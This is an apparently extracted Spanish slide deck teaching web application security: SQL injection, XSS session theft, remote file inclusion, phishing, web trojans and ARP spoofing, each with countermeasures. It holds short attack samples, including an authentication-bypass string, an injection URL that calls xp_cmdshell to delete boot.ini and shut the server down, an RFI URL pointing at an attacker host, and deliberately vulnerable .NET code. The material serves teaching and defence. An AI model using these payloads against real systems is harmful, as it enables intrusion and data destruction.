revoluciÓn de los sistemas de informaciÓn
DESCRIPTION
Sistemas de informaciónTRANSCRIPT
![Page 1: REVOLUCIÓN DE LOS SISTEMAS DE INFORMACIÓN](https://reader035.vdocuments.site/reader035/viewer/2022062706/557a3ccad8b42a32248b4ef5/html5/thumbnails/1.jpg)
Seguridad en Aplicaciones Web
![Page 3: REVOLUCIÓN DE LOS SISTEMAS DE INFORMACIÓN](https://reader035.vdocuments.site/reader035/viewer/2022062706/557a3ccad8b42a32248b4ef5/html5/thumbnails/3.jpg)
Agenda Amenazas Web
Aplicaciones Web
Vulnerabilidades: Sql Injection
Vulnerabilidades: Cross-Site Scripting
Vulnerabilidades: RFI
Vulnerabilidades: Phising
Vulnerabilidades: WebTrojan
Vulnerabilidades: Capa 8
![Page 4: REVOLUCIÓN DE LOS SISTEMAS DE INFORMACIÓN](https://reader035.vdocuments.site/reader035/viewer/2022062706/557a3ccad8b42a32248b4ef5/html5/thumbnails/4.jpg)
Aplicaciones Web
![Page 5: REVOLUCIÓN DE LOS SISTEMAS DE INFORMACIÓN](https://reader035.vdocuments.site/reader035/viewer/2022062706/557a3ccad8b42a32248b4ef5/html5/thumbnails/5.jpg)
Tipos de Aplicaciones Web
Web Site público. Información destinada al público.
Intranet (ERP/CRM/Productividad) Información privada de acceso interno.
Extranet (Productividad/B2B/B2C) Información privada de acceso externo.
![Page 6: REVOLUCIÓN DE LOS SISTEMAS DE INFORMACIÓN](https://reader035.vdocuments.site/reader035/viewer/2022062706/557a3ccad8b42a32248b4ef5/html5/thumbnails/6.jpg)
AlmacénDe Datos
Lógica de la AplicaciónInterfaz de Usuario(GUI)
Arquitectura Multicapa
Browser
WebServer
DCOM
WebService
BBDD
BBDDWebServer
RPC
![Page 7: REVOLUCIÓN DE LOS SISTEMAS DE INFORMACIÓN](https://reader035.vdocuments.site/reader035/viewer/2022062706/557a3ccad8b42a32248b4ef5/html5/thumbnails/7.jpg)
Amenazas
Zone-h contabiliza 2.500 intrusiones Web con éxito cada día en 2004.
Se atacan todas las tecnologías Los ataques se han escalado desde el
sistema operativo a la aplicación. Ataques no masivos. Motivos:
Económicos Venganza Reto Just For Fun
![Page 8: REVOLUCIÓN DE LOS SISTEMAS DE INFORMACIÓN](https://reader035.vdocuments.site/reader035/viewer/2022062706/557a3ccad8b42a32248b4ef5/html5/thumbnails/8.jpg)
Cliente - Riesgos Navegador de Internet:
Ejecuta código en contexto de usuario. Lenguajes potentes:
HTML/DHTML vbScript/JavaScript/Jscript
Programas embebidos Applets Java ActiveX Shockwave Flash
Códigos No protegidos Cifrado cliente: Atrise. Ofuscación de código.
![Page 9: REVOLUCIÓN DE LOS SISTEMAS DE INFORMACIÓN](https://reader035.vdocuments.site/reader035/viewer/2022062706/557a3ccad8b42a32248b4ef5/html5/thumbnails/9.jpg)
Código y poder
El código fuente es poder Tanto para defenderse como para atacar
Compartir el código es compartir el poder. Con los atacantes y defensores
Publicar el código fuente sin hacer nada más degrada la seguridad
Por el contrario, publicar el código fuente permite a los defensores y a otros elevar la seguridad al nivel que les convenga.
![Page 10: REVOLUCIÓN DE LOS SISTEMAS DE INFORMACIÓN](https://reader035.vdocuments.site/reader035/viewer/2022062706/557a3ccad8b42a32248b4ef5/html5/thumbnails/10.jpg)
Software Seguro
El software Fiable es aquel que hace lo que se supone que debe hacer.
El software Seguro es aquel que hace lo que se supone que debe hacer, y nada mas. Son los sorprendentes “algo mas” los que producen inseguridad.
Para estar seguro, debes de ejecutar solo software perfecto :-)
O, hacer algo para mitigar ese “algo mas”
![Page 11: REVOLUCIÓN DE LOS SISTEMAS DE INFORMACIÓN](https://reader035.vdocuments.site/reader035/viewer/2022062706/557a3ccad8b42a32248b4ef5/html5/thumbnails/11.jpg)
Cliente - Riesgos
Ninguna protección en cliente es buenaUtilización de técnicas de MITM
AchillesBurpSuiteOdysseus…
DecompiladoresFlashJava
![Page 12: REVOLUCIÓN DE LOS SISTEMAS DE INFORMACIÓN](https://reader035.vdocuments.site/reader035/viewer/2022062706/557a3ccad8b42a32248b4ef5/html5/thumbnails/12.jpg)
Lógica de Aplicación - Riesgos
Servidor Web Ejecuta código en contextos privilegiados. Lenguajes potentes Acceden a BBDD Envían programas a clientes Transferir ficheros Ejecutar comandos sobre el sistema. Soporte para herramientas de administración de
otro software. Códigos de Ejemplo
![Page 13: REVOLUCIÓN DE LOS SISTEMAS DE INFORMACIÓN](https://reader035.vdocuments.site/reader035/viewer/2022062706/557a3ccad8b42a32248b4ef5/html5/thumbnails/13.jpg)
Almacén de Datos - Riesgos
SGBDLenguaje de 3ª y 4ª Generación.Soporta múltiples bases de datos.Catálogo global de datos.Ejecuta programas sobre Sistema.LOPD.Transacciones económicas. Información clave de negocio.
![Page 14: REVOLUCIÓN DE LOS SISTEMAS DE INFORMACIÓN](https://reader035.vdocuments.site/reader035/viewer/2022062706/557a3ccad8b42a32248b4ef5/html5/thumbnails/14.jpg)
Vulnerabilidades: SQL Injection
![Page 15: REVOLUCIÓN DE LOS SISTEMAS DE INFORMACIÓN](https://reader035.vdocuments.site/reader035/viewer/2022062706/557a3ccad8b42a32248b4ef5/html5/thumbnails/15.jpg)
Explotación del Ataque
Aplicaciones con mala comprobación de datos de entrada. Datos de usuario.
Formularios Text Password Textarea List multilist
Datos de llamadas a procedimientos. Links Funciones Scripts Actions
Datos de usuario utilizados en consultas a base de datos.
Mala construcción de consultas a bases de datos.
![Page 16: REVOLUCIÓN DE LOS SISTEMAS DE INFORMACIÓN](https://reader035.vdocuments.site/reader035/viewer/2022062706/557a3ccad8b42a32248b4ef5/html5/thumbnails/16.jpg)
Riesgos
Permiten al atacante:Saltar restricciones de acceso.Elevación de privilegios.Extracción de información de la Base de
DatosParada de SGBDR.Ejecución de comandos en contexto usuario
bd dentro del servidor.
![Page 17: REVOLUCIÓN DE LOS SISTEMAS DE INFORMACIÓN](https://reader035.vdocuments.site/reader035/viewer/2022062706/557a3ccad8b42a32248b4ef5/html5/thumbnails/17.jpg)
Tipos de AtaquesEjemplo 1:
Autenticación de usuario contra base de datos.
Select idusuario from tabla_usuariosWhere nombre_usuario=‘$usuario’And clave=‘$clave’;
Usuario
Clave ****************
![Page 18: REVOLUCIÓN DE LOS SISTEMAS DE INFORMACIÓN](https://reader035.vdocuments.site/reader035/viewer/2022062706/557a3ccad8b42a32248b4ef5/html5/thumbnails/18.jpg)
Tipos de Ataques
Ejemplo 1 (cont)
Select idusuario from tabla_usuarios
Where nombre_usuario=‘Administrador’
And clave=‘’ or ‘1’=‘1’;
Usuario
Clave
Administrador
‘ or ‘1’=‘1
![Page 19: REVOLUCIÓN DE LOS SISTEMAS DE INFORMACIÓN](https://reader035.vdocuments.site/reader035/viewer/2022062706/557a3ccad8b42a32248b4ef5/html5/thumbnails/19.jpg)
Demo
![Page 20: REVOLUCIÓN DE LOS SISTEMAS DE INFORMACIÓN](https://reader035.vdocuments.site/reader035/viewer/2022062706/557a3ccad8b42a32248b4ef5/html5/thumbnails/20.jpg)
Tipos de Ataques
Ejemplo 2:Acceso a información con procedimientos
de listado.
http://www.miweb.com/prog.asp?parametro1=hola
Ó
http://www.miweb.com/prog.asp?parametro1=1
![Page 21: REVOLUCIÓN DE LOS SISTEMAS DE INFORMACIÓN](https://reader035.vdocuments.site/reader035/viewer/2022062706/557a3ccad8b42a32248b4ef5/html5/thumbnails/21.jpg)
Tipos de Ataques
Ejemplo 2 (cont):
http://www.miweb.com/prog.asp?parametro1=‘ union select nombre, clave,1,1,1 from tabla_usuarios; otra instrucción; xp_cmdshell(“del c:\boot.ini”); shutdown --
Ó
http://www.miweb.com/prog.asp?parametro1=-1 union select .....; otra instrucción; --
![Page 22: REVOLUCIÓN DE LOS SISTEMAS DE INFORMACIÓN](https://reader035.vdocuments.site/reader035/viewer/2022062706/557a3ccad8b42a32248b4ef5/html5/thumbnails/22.jpg)
Demo
![Page 23: REVOLUCIÓN DE LOS SISTEMAS DE INFORMACIÓN](https://reader035.vdocuments.site/reader035/viewer/2022062706/557a3ccad8b42a32248b4ef5/html5/thumbnails/23.jpg)
Contramedidas
No confianza en medias de protección en cliente.
Comprobación de datos de entrada.
Construcción segura de sentencias SQL.
Fortificación de Servidor Web. Códigos de error. Restricción de verbos, longitudes, etc.. Filtrado de contenido HTTP en Firewall.
Fortificación de SGBD. Restricción de privilegios de motor/usuario de acceso desde web. Aislamiento de bases de datos.
![Page 24: REVOLUCIÓN DE LOS SISTEMAS DE INFORMACIÓN](https://reader035.vdocuments.site/reader035/viewer/2022062706/557a3ccad8b42a32248b4ef5/html5/thumbnails/24.jpg)
Contramedidas
Desarrollo .NETRedirigir a una página personalizada en
caso de errorWeb.Config
Mode On, Off, RemoteOnlyDefaultRedirect Error no especificado<error…>Errores específicos
<customErrors mode="RemoteOnly" defaultRedirect="GenericErrorPage.htm"> <error statusCode="403" redirect="NoAccess.htm"/> <error statusCode="404" redirect="FileNotFound.htm"/></customErrors>
![Page 25: REVOLUCIÓN DE LOS SISTEMAS DE INFORMACIÓN](https://reader035.vdocuments.site/reader035/viewer/2022062706/557a3ccad8b42a32248b4ef5/html5/thumbnails/25.jpg)
Contramedidas
Desarrollo .NET (Validadores)
![Page 26: REVOLUCIÓN DE LOS SISTEMAS DE INFORMACIÓN](https://reader035.vdocuments.site/reader035/viewer/2022062706/557a3ccad8b42a32248b4ef5/html5/thumbnails/26.jpg)
Contramedidas
Desarrollos en .NET (Código inseguro) protected void Button1_Click(object sender, EventArgs e){ SqlConnection conn = new SqlConnection(connstr); conn.Open(); SqlCommand cmd = new SqlCommand(); cmd.Connection = conn; cmd.CommandText = "Select * from Usuarios where login='"+ txtLogin.Text +"‘
and password='"+ txtPassword.Text +"'"; cmd.CommandType = CommandType.Text; SqlDataReader dr = cmd.ExecuteReader(); if (dr.HasRows){ //Código para permitir el paso a la aplicación Response.Write("<script>alert('Acceso permitido');</script>"); } else{ //Codigo para rechazar el usuario Response.Write("<script>alert('Acceso denegado');</script>"); } conn.Close(); }
![Page 27: REVOLUCIÓN DE LOS SISTEMAS DE INFORMACIÓN](https://reader035.vdocuments.site/reader035/viewer/2022062706/557a3ccad8b42a32248b4ef5/html5/thumbnails/27.jpg)
ContramedidasDesarrollo .NET (Código seguro)
Consultas parametrizadas protected void Button1_Click(object sender, EventArgs e){ SqlConnection conn = new SqlConnection(connstr); conn.Open(); SqlCommand cmd = new SqlCommand(); cmd.Connection = conn; cmd.CommandText = "Select * from cmd.CommandText = "Select * from Usuarios Usuarios where login=@login where login=@login
and password=@pass";and password=@pass"; cmd.Parameters.AddWithValue("login", txtLogin);cmd.Parameters.AddWithValue("login", txtLogin); cmd.Parameters.AddWithValue("pass", txtPassword.Text);cmd.Parameters.AddWithValue("pass", txtPassword.Text); cmd.CommandType = CommandType.Text; dr = cmd.ExecuteReader(); if (dr.HasRows){//Código para permitir el paso a la aplicación
Response.Write("<script>alert('Acceso permitido');</script>"); } else{//Codigo para rechazar el usuario Response.Write("<script>alert('Acceso denegado');</script>"); } conn.Close(); }
![Page 28: REVOLUCIÓN DE LOS SISTEMAS DE INFORMACIÓN](https://reader035.vdocuments.site/reader035/viewer/2022062706/557a3ccad8b42a32248b4ef5/html5/thumbnails/28.jpg)
Vulnerabilidades: Cross-Site Scripting (XSS)
![Page 29: REVOLUCIÓN DE LOS SISTEMAS DE INFORMACIÓN](https://reader035.vdocuments.site/reader035/viewer/2022062706/557a3ccad8b42a32248b4ef5/html5/thumbnails/29.jpg)
Explotación del Ataque
Datos almacenados en servidor desde cliente.
Datos van a ser visualizados por otros cliente/usuario.
Datos no filtrados. No comprobación de que sean dañinos al cliente que visualiza.
![Page 30: REVOLUCIÓN DE LOS SISTEMAS DE INFORMACIÓN](https://reader035.vdocuments.site/reader035/viewer/2022062706/557a3ccad8b42a32248b4ef5/html5/thumbnails/30.jpg)
Riesgos
Ejecución de código en contexto de usuario que visualiza datos.
Navegación dirigidaPhisingSpywareRobo de credencialesEjecución de acciones automáticasDefacement
![Page 31: REVOLUCIÓN DE LOS SISTEMAS DE INFORMACIÓN](https://reader035.vdocuments.site/reader035/viewer/2022062706/557a3ccad8b42a32248b4ef5/html5/thumbnails/31.jpg)
Tipos de Ataques
Mensajes en Foros.Firma de libro de visitas.Contactos a través de web.Correo Web.
En todos ellos se envían códigos Script dañinos.
![Page 32: REVOLUCIÓN DE LOS SISTEMAS DE INFORMACIÓN](https://reader035.vdocuments.site/reader035/viewer/2022062706/557a3ccad8b42a32248b4ef5/html5/thumbnails/32.jpg)
Demo
![Page 33: REVOLUCIÓN DE LOS SISTEMAS DE INFORMACIÓN](https://reader035.vdocuments.site/reader035/viewer/2022062706/557a3ccad8b42a32248b4ef5/html5/thumbnails/33.jpg)
Robo de Sesiones (XSS)
Mediante esta técnica se puede robar sesiones de una manera bastante sencilla
Bastaría con realizar un script que llamase a una página alojada en nuestro servidor pasándole la cookie
Este Script se colaría en el servidor de la victima aprovechando un punto vulnerable a XSS
Cuando un usuario este logueado en el servidor y ejecute el script se enviara a nuestro servidor el contenido de la cookie
![Page 34: REVOLUCIÓN DE LOS SISTEMAS DE INFORMACIÓN](https://reader035.vdocuments.site/reader035/viewer/2022062706/557a3ccad8b42a32248b4ef5/html5/thumbnails/34.jpg)
Robo de Sesiones (XSS)
Una vez que la página obtiene la cookie (almacenandola por ejemplo en un fichero) mediante programas como Odysseus se puede hacer una llamada al servidor pasándole la cookie original
Por supuesto esta cookie es válida para robar la sesión solo mientras el usuario no cierre la sesión
![Page 35: REVOLUCIÓN DE LOS SISTEMAS DE INFORMACIÓN](https://reader035.vdocuments.site/reader035/viewer/2022062706/557a3ccad8b42a32248b4ef5/html5/thumbnails/35.jpg)
Demo
![Page 36: REVOLUCIÓN DE LOS SISTEMAS DE INFORMACIÓN](https://reader035.vdocuments.site/reader035/viewer/2022062706/557a3ccad8b42a32248b4ef5/html5/thumbnails/36.jpg)
Contramedidas
Fortificación de aplicaciónComprobación fiable de datos
Fortificación de ClientesEjecución de clientes en entorno menos
privilegiado.Fortificación de navegador cliente.
MBSA.Políticas.
![Page 37: REVOLUCIÓN DE LOS SISTEMAS DE INFORMACIÓN](https://reader035.vdocuments.site/reader035/viewer/2022062706/557a3ccad8b42a32248b4ef5/html5/thumbnails/37.jpg)
Contramedidas
Desarrollo .NETEn ASP.NET el Cross Site Scripting está
deshabilitado por defectoEl Framework se encarga de buscar posibles
ataques de este tipo en las entradas de datosSe puede deshabilitar este tipo de verificación
mediante un atributo de la directiva @PagePara deshabilitarlo
<%@ Page … ValidateRequest=ValidateRequest=““falsefalse”” … %>
![Page 38: REVOLUCIÓN DE LOS SISTEMAS DE INFORMACIÓN](https://reader035.vdocuments.site/reader035/viewer/2022062706/557a3ccad8b42a32248b4ef5/html5/thumbnails/38.jpg)
Vulnerabilidades: Remote File Inclusion (RFI)
![Page 39: REVOLUCIÓN DE LOS SISTEMAS DE INFORMACIÓN](https://reader035.vdocuments.site/reader035/viewer/2022062706/557a3ccad8b42a32248b4ef5/html5/thumbnails/39.jpg)
Remote File Inclusion (RFI)
Vulnerabilidad propia de páginas PHP dinámicas que permite enlace de archivos remotos situados en otros servidores
Se debe a una mala programación o uso de la función include()
Esta vulnerabilidad no se da en páginas programadas en un lenguaje que no permita la inclusión de ficheros ajenos al servidor
![Page 40: REVOLUCIÓN DE LOS SISTEMAS DE INFORMACIÓN](https://reader035.vdocuments.site/reader035/viewer/2022062706/557a3ccad8b42a32248b4ef5/html5/thumbnails/40.jpg)
Remote File Inclusion (RFI)
La vulnerabilidad es producida por código semejante a este
En páginas de este tipo se puede incluir ficheros que estén en nuestro servidor
$page = $_GET['page'];include($page);
http://victima.com/pagvuln.php?page=http://[misitio]/miFichero
![Page 41: REVOLUCIÓN DE LOS SISTEMAS DE INFORMACIÓN](https://reader035.vdocuments.site/reader035/viewer/2022062706/557a3ccad8b42a32248b4ef5/html5/thumbnails/41.jpg)
Remote File Inclusion (RFI)
Existen herramientas que permite explorar un sitio Web en busca de este tipo de vulnerabilidades (rpvs)
![Page 42: REVOLUCIÓN DE LOS SISTEMAS DE INFORMACIÓN](https://reader035.vdocuments.site/reader035/viewer/2022062706/557a3ccad8b42a32248b4ef5/html5/thumbnails/42.jpg)
Remote File Inclusion (RFI)
Mediante las shell PHP se pueden ejecutar comandos en una página Web
Usando RFI se puede incluir un fichero que ejecute comandos, tales como listar directorios, obtener y colocar ficheros, etc.
“El inconveniente” es que la mayoría de servidores Web en PHP tienen deshabilitadas las funciones exec, system o passthru que impiden la ejecución de comandos
![Page 43: REVOLUCIÓN DE LOS SISTEMAS DE INFORMACIÓN](https://reader035.vdocuments.site/reader035/viewer/2022062706/557a3ccad8b42a32248b4ef5/html5/thumbnails/43.jpg)
Remote File Inclusion (RFI)
Sin embargo, existen funciones como show_source(‘archivo’) que permiten la visualización del código fuente de una página
A su vez, existen otra serie de funciones que nos permiten listar el contenido de un directorio
El uso de estas funciones no puede ser limitado y no depende del SO sobre el que se encuentra instalado el Servidor Web
![Page 44: REVOLUCIÓN DE LOS SISTEMAS DE INFORMACIÓN](https://reader035.vdocuments.site/reader035/viewer/2022062706/557a3ccad8b42a32248b4ef5/html5/thumbnails/44.jpg)
Demo
![Page 45: REVOLUCIÓN DE LOS SISTEMAS DE INFORMACIÓN](https://reader035.vdocuments.site/reader035/viewer/2022062706/557a3ccad8b42a32248b4ef5/html5/thumbnails/45.jpg)
Vulnerabilidades: Phising
![Page 46: REVOLUCIÓN DE LOS SISTEMAS DE INFORMACIÓN](https://reader035.vdocuments.site/reader035/viewer/2022062706/557a3ccad8b42a32248b4ef5/html5/thumbnails/46.jpg)
Explotación del Ataque
Basado en técnicas de Ingeniería Social.
Se aprovecha de la confianza de los usuarios.
Se aprovecha de la falta de formación en seguridad de los usuarios.
Certificados digitales no generados por Entidades Emisoras de Certificados de confianza.
![Page 47: REVOLUCIÓN DE LOS SISTEMAS DE INFORMACIÓN](https://reader035.vdocuments.site/reader035/viewer/2022062706/557a3ccad8b42a32248b4ef5/html5/thumbnails/47.jpg)
Riesgos
Suplantación de Sitios Web para engañar al usuario.
Robo de credenciales de acceso a web restringidos.
Robo de dinero Compras por Internet Bromas pesadas
![Page 48: REVOLUCIÓN DE LOS SISTEMAS DE INFORMACIÓN](https://reader035.vdocuments.site/reader035/viewer/2022062706/557a3ccad8b42a32248b4ef5/html5/thumbnails/48.jpg)
Tipos de Ataques Se falsea la dirección de DNS del servidor
Falsificación hosts Troyanos, Físicamente, Shellcodes exploits
DHCP DNS Spoofing
Man in The Middle
Se engaña la navegación. Frames Ocultos URLs falseadas.
Se implanta en la nueva ubicación un servidor replica.
Se implantan hasta fakes de certificados digitales
![Page 49: REVOLUCIÓN DE LOS SISTEMAS DE INFORMACIÓN](https://reader035.vdocuments.site/reader035/viewer/2022062706/557a3ccad8b42a32248b4ef5/html5/thumbnails/49.jpg)
Exploits
infohacking.com
![Page 50: REVOLUCIÓN DE LOS SISTEMAS DE INFORMACIÓN](https://reader035.vdocuments.site/reader035/viewer/2022062706/557a3ccad8b42a32248b4ef5/html5/thumbnails/50.jpg)
Contramedidas
Uso de CA de confianzaFormación a usuariosGestión de actualizaciones de
seguridadCódigos de aplicaciones segurasControl físico de la redComprobación DHCP
![Page 51: REVOLUCIÓN DE LOS SISTEMAS DE INFORMACIÓN](https://reader035.vdocuments.site/reader035/viewer/2022062706/557a3ccad8b42a32248b4ef5/html5/thumbnails/51.jpg)
Vulnerabilidades: WebTrojan
![Page 52: REVOLUCIÓN DE LOS SISTEMAS DE INFORMACIÓN](https://reader035.vdocuments.site/reader035/viewer/2022062706/557a3ccad8b42a32248b4ef5/html5/thumbnails/52.jpg)
Explotación de Ataque
Servidores Web no fortificados Ejecución de programas en almacenes de ficheros.
Subida de ficheros a servidores. Imágenes para publicaciones. Archivos de informes. Currículos, cuentos, etc...
Almacenes de ficheros accesibles en remoto
Usuario en contexto servidor Web no controlado
![Page 53: REVOLUCIÓN DE LOS SISTEMAS DE INFORMACIÓN](https://reader035.vdocuments.site/reader035/viewer/2022062706/557a3ccad8b42a32248b4ef5/html5/thumbnails/53.jpg)
Riesgos
Implantación de un troyano que puede:Gestionar ficherosEjecutar programasDestrozar el sistemaDefacementRobo de información ....
![Page 54: REVOLUCIÓN DE LOS SISTEMAS DE INFORMACIÓN](https://reader035.vdocuments.site/reader035/viewer/2022062706/557a3ccad8b42a32248b4ef5/html5/thumbnails/54.jpg)
Tipos de Ataques
Programación de un troyano en PHP, ASP o JSP
Utilización de objetos FileObject
Subida mediante ASP Upload, FTP o RFI
Busqueda del lugar de almacenamiento
Invocación por URL pública del servidor Web
![Page 55: REVOLUCIÓN DE LOS SISTEMAS DE INFORMACIÓN](https://reader035.vdocuments.site/reader035/viewer/2022062706/557a3ccad8b42a32248b4ef5/html5/thumbnails/55.jpg)
Demo
![Page 56: REVOLUCIÓN DE LOS SISTEMAS DE INFORMACIÓN](https://reader035.vdocuments.site/reader035/viewer/2022062706/557a3ccad8b42a32248b4ef5/html5/thumbnails/56.jpg)
Contramedidas
Fortificación de servidores Web
Menor Privilegio Ejecución de programas en sitios restringidos Listado de directorios ocultos Usuario de servidor en contexto controlado
Subida de archivos controlada Ubicación no accesible desde URL pública Tipos de ficheros controlados
Tamaño, tipo, extensión, etc.. Filtrado vírico -> Rootkits
![Page 57: REVOLUCIÓN DE LOS SISTEMAS DE INFORMACIÓN](https://reader035.vdocuments.site/reader035/viewer/2022062706/557a3ccad8b42a32248b4ef5/html5/thumbnails/57.jpg)
Contramedidas
Desarrollo .NETEn ASP.NET se puede verificar la extensión
del fichero que se sube al servidorEvita la subida de ficheros potencialmente
peligrosos
if (!FileUpload1.PostedFile.FileName.EndsWith(".jpg")){ //Error: El fichero no es del tipo esperado}
![Page 58: REVOLUCIÓN DE LOS SISTEMAS DE INFORMACIÓN](https://reader035.vdocuments.site/reader035/viewer/2022062706/557a3ccad8b42a32248b4ef5/html5/thumbnails/58.jpg)
Vulnerabilidades: Capa 8
![Page 59: REVOLUCIÓN DE LOS SISTEMAS DE INFORMACIÓN](https://reader035.vdocuments.site/reader035/viewer/2022062706/557a3ccad8b42a32248b4ef5/html5/thumbnails/59.jpg)
Explotación de Ataque
Falta de conocimiento SD3 Diseño Configuraciónes Implantación
Administradores/Desarrolladores no formados en Seguridad Hacking Ético
Falta de conocimiento del riesgo
![Page 60: REVOLUCIÓN DE LOS SISTEMAS DE INFORMACIÓN](https://reader035.vdocuments.site/reader035/viewer/2022062706/557a3ccad8b42a32248b4ef5/html5/thumbnails/60.jpg)
Riesgos
Insospechados:
Bases de datos públicasNo protección de datosNo protección de sistemas .....
![Page 61: REVOLUCIÓN DE LOS SISTEMAS DE INFORMACIÓN](https://reader035.vdocuments.site/reader035/viewer/2022062706/557a3ccad8b42a32248b4ef5/html5/thumbnails/61.jpg)
Tipos de Ataques
Hacking Google
Administradores predecibles http://www.misitio.com/administracion http://www.misitio.com/privado http://www.misitio.com/gestion http://www.misitio.com/basedatos
Ficheros log públicos WS_ftp.log
Estadísticas públicas Webalyzer
![Page 62: REVOLUCIÓN DE LOS SISTEMAS DE INFORMACIÓN](https://reader035.vdocuments.site/reader035/viewer/2022062706/557a3ccad8b42a32248b4ef5/html5/thumbnails/62.jpg)
Demo
![Page 63: REVOLUCIÓN DE LOS SISTEMAS DE INFORMACIÓN](https://reader035.vdocuments.site/reader035/viewer/2022062706/557a3ccad8b42a32248b4ef5/html5/thumbnails/63.jpg)
Contramedidas
Formación
Ficheros Robots Robots.txt
LOPD y LSSI www.lssi.es
Writting Secure Code
![Page 64: REVOLUCIÓN DE LOS SISTEMAS DE INFORMACIÓN](https://reader035.vdocuments.site/reader035/viewer/2022062706/557a3ccad8b42a32248b4ef5/html5/thumbnails/64.jpg)
Contramedidas
![Page 65: REVOLUCIÓN DE LOS SISTEMAS DE INFORMACIÓN](https://reader035.vdocuments.site/reader035/viewer/2022062706/557a3ccad8b42a32248b4ef5/html5/thumbnails/65.jpg)
¿ Preguntas ?
![Page 66: REVOLUCIÓN DE LOS SISTEMAS DE INFORMACIÓN](https://reader035.vdocuments.site/reader035/viewer/2022062706/557a3ccad8b42a32248b4ef5/html5/thumbnails/66.jpg)
Troyanos
“Hay un amigo en mi”
![Page 67: REVOLUCIÓN DE LOS SISTEMAS DE INFORMACIÓN](https://reader035.vdocuments.site/reader035/viewer/2022062706/557a3ccad8b42a32248b4ef5/html5/thumbnails/67.jpg)
Video
Que puede hacer un troyano
![Page 68: REVOLUCIÓN DE LOS SISTEMAS DE INFORMACIÓN](https://reader035.vdocuments.site/reader035/viewer/2022062706/557a3ccad8b42a32248b4ef5/html5/thumbnails/68.jpg)
Troyano
Programa que se ejecuta en tu máquina y cuyo control no depende de ti.
Como el …..Mil formas, mil coloresLos Hackers la llaman la “girlfriend”
![Page 69: REVOLUCIÓN DE LOS SISTEMAS DE INFORMACIÓN](https://reader035.vdocuments.site/reader035/viewer/2022062706/557a3ccad8b42a32248b4ef5/html5/thumbnails/69.jpg)
Obtención de Privilegios
Fallo en la cadena:Procesos:
Sistema no cerrado.Tecnología:
Fallo en sw de sistema operativoFallo en sw ejecución de códigos.
Personas: Ingeniería Social: “¡Que lindo programita!”Navegación privilegiada
![Page 70: REVOLUCIÓN DE LOS SISTEMAS DE INFORMACIÓN](https://reader035.vdocuments.site/reader035/viewer/2022062706/557a3ccad8b42a32248b4ef5/html5/thumbnails/70.jpg)
Objetivos
Control remoto: Instalan “suites” de gestión del sistema.
Robo de informaciónModificación del sistema:
PhishingCreación de usuariosPlanificación de tareas ....
![Page 71: REVOLUCIÓN DE LOS SISTEMAS DE INFORMACIÓN](https://reader035.vdocuments.site/reader035/viewer/2022062706/557a3ccad8b42a32248b4ef5/html5/thumbnails/71.jpg)
Instalación del Troyano
Se suele acompañar de “un caballo” para tranquilizar a la víctima.Se añaden a otro software.
EJ: WhackamoleJoiners, Binders
Incluidos en documentos que ejecutan código:
Word, excel, swf, .class, pdf, html, etc...
![Page 72: REVOLUCIÓN DE LOS SISTEMAS DE INFORMACIÓN](https://reader035.vdocuments.site/reader035/viewer/2022062706/557a3ccad8b42a32248b4ef5/html5/thumbnails/72.jpg)
Instalación del Troyano
Simulando ser otro programaP2P, HTTP Servers
Paquetes Zip autodescomprimiblesProgramas con fallo de .dll
Instaladores de otro SW
![Page 73: REVOLUCIÓN DE LOS SISTEMAS DE INFORMACIÓN](https://reader035.vdocuments.site/reader035/viewer/2022062706/557a3ccad8b42a32248b4ef5/html5/thumbnails/73.jpg)
Demo:
Un troyano de andar por casa pa… phisear
![Page 74: REVOLUCIÓN DE LOS SISTEMAS DE INFORMACIÓN](https://reader035.vdocuments.site/reader035/viewer/2022062706/557a3ccad8b42a32248b4ef5/html5/thumbnails/74.jpg)
Demo:
Un troyano de andar por casa pa… meter un backdoor
![Page 75: REVOLUCIÓN DE LOS SISTEMAS DE INFORMACIÓN](https://reader035.vdocuments.site/reader035/viewer/2022062706/557a3ccad8b42a32248b4ef5/html5/thumbnails/75.jpg)
Demo:
Un troyano de andar por casa pa… abrir una shell
![Page 76: REVOLUCIÓN DE LOS SISTEMAS DE INFORMACIÓN](https://reader035.vdocuments.site/reader035/viewer/2022062706/557a3ccad8b42a32248b4ef5/html5/thumbnails/76.jpg)
Demo:
Un troyano de andar por casa pa… robar una shell
![Page 77: REVOLUCIÓN DE LOS SISTEMAS DE INFORMACIÓN](https://reader035.vdocuments.site/reader035/viewer/2022062706/557a3ccad8b42a32248b4ef5/html5/thumbnails/77.jpg)
Detección de Troyanos
Anti-MallwareAntivirusAntiSpyware
Comportamiento anómalo del sistemaConfiguraciones nuevas
Cambio en páginas de navegaciónPuertos ....
![Page 78: REVOLUCIÓN DE LOS SISTEMAS DE INFORMACIÓN](https://reader035.vdocuments.site/reader035/viewer/2022062706/557a3ccad8b42a32248b4ef5/html5/thumbnails/78.jpg)
Prevención contra Troyanos
Defensa en ProfundidadMínimo Privilegio PosibleMínimo punto de exposición
Gestión de updates de seguridadAntivirus/AntiSpywareEjecución controlada de programasNavegación segura
![Page 79: REVOLUCIÓN DE LOS SISTEMAS DE INFORMACIÓN](https://reader035.vdocuments.site/reader035/viewer/2022062706/557a3ccad8b42a32248b4ef5/html5/thumbnails/79.jpg)
Ataque:Envenenamiento ARP
![Page 80: REVOLUCIÓN DE LOS SISTEMAS DE INFORMACIÓN](https://reader035.vdocuments.site/reader035/viewer/2022062706/557a3ccad8b42a32248b4ef5/html5/thumbnails/80.jpg)
RFC 1180 - TCP/IP tutorialThere are security considerations within the TCP/IP protocol suite. To some people these considerations are serious problems, to others they are not; it depends on the user requirements. This tutorial does not discuss these issues, but if you want to learn more you should start with the topic of ARP-spoofing, then use the "Security Considerations" section of RFC 1122 to lead you to more information.
![Page 81: REVOLUCIÓN DE LOS SISTEMAS DE INFORMACIÓN](https://reader035.vdocuments.site/reader035/viewer/2022062706/557a3ccad8b42a32248b4ef5/html5/thumbnails/81.jpg)
Técnicas de Spoofing
Las técnicas spoofing tienen como objetivo suplantar validadores estáticosUn Un validador estáticovalidador estático es un medio de es un medio de autenticación que permanece autenticación que permanece invariable antes, durante y después de invariable antes, durante y después de la concesión.la concesión.
![Page 82: REVOLUCIÓN DE LOS SISTEMAS DE INFORMACIÓN](https://reader035.vdocuments.site/reader035/viewer/2022062706/557a3ccad8b42a32248b4ef5/html5/thumbnails/82.jpg)
Niveles AfectadosNiveles Afectados
SERVICIOSERVICIO
REDRED Dirección IPDirección IP
ENLACEENLACEENLACEENLACE Dirección MACDirección MAC
Nombres de dominioNombres de dominio
Direcciones de correo electrónicoDirecciones de correo electrónico
Nombres de recursos compartidosNombres de recursos compartidos
